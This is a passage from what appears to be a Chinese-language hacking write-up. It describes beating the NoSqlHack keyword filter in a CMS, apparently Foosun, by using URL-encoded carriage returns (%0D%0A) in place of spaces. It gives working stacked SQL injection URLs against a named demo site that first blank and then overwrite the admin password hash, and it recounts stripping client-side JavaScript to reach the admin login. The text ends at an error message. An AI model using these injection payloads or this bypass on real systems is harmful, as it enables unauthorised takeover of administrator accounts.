NoSqlHack = Replace(Str_InputStr,"'","''") End FunctionEnd Function ————————————————————————— 比老版本过滤的要多一些了,貌似很多关键词还有关键词+空格的都过滤了。/**/也不行了,因为*号也被过滤了,tab也被过滤了,所以%09也无法使用。但是众所周知,mssql对hacker是非常友好的,我们只要找到其他分割符号,这个函数还是很容易被突破的。 思考了一段时间,百度查查最新的注入方法,看看电脑里一系列注入资料,我们俩绞尽脑汁搞了好久,但都没能找到一个明确的好方法;我们甚至尝试过“/n”分割,不过sql下行不通。后来我想,Mssql疏松的特性使得我们有了可趁之机,因此空格,tab都可以被它识别,所以以前的版本我们能利用tab来入侵,而且有时把空格去掉,mssql都能识别,想到这里,大家会不会跟我一样会出现一个灵感:我们可以不可以尝试回车(这是本文的精彩之处,也是本次入侵最关键的地方),于是我用URLEncode把回车编码了一下是:%0D%0A%0D%0A, 下面我们来测试官方网站吧,随便注册个用户,进入用户管理后台,写了个日志,地址是: http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2 测试个and 1=1,ok的,于是继续测试: http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=%27%27-- 返回正常,语句成功执行了。
很不错,连忙去后台登录,心想用户名应该不会变化的,直接用admin,可是密码为空的时候,后台提交的时候提示“请输入您的密码!”,很明显那是js的判断,于是把登录页面另存为本地页面,把js去掉,再提交以后又跳出来一个alert:“请填写完整”,打开后台checklogin.asp页面,发现有这句: if p_UserName = "" or p_TempUserPass = "" then Response.Write("<script>alert(""错误:/n请填写完整"");location.href=""Login.asp"";</script>") Response.End end if 郁闷,逼我给它设置密码啊,于是执行了下一句:http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word='83aa400af464c76d'-- 其中:83aa400af464c76d是数字12345678的十六位MD5,执行下,出错了: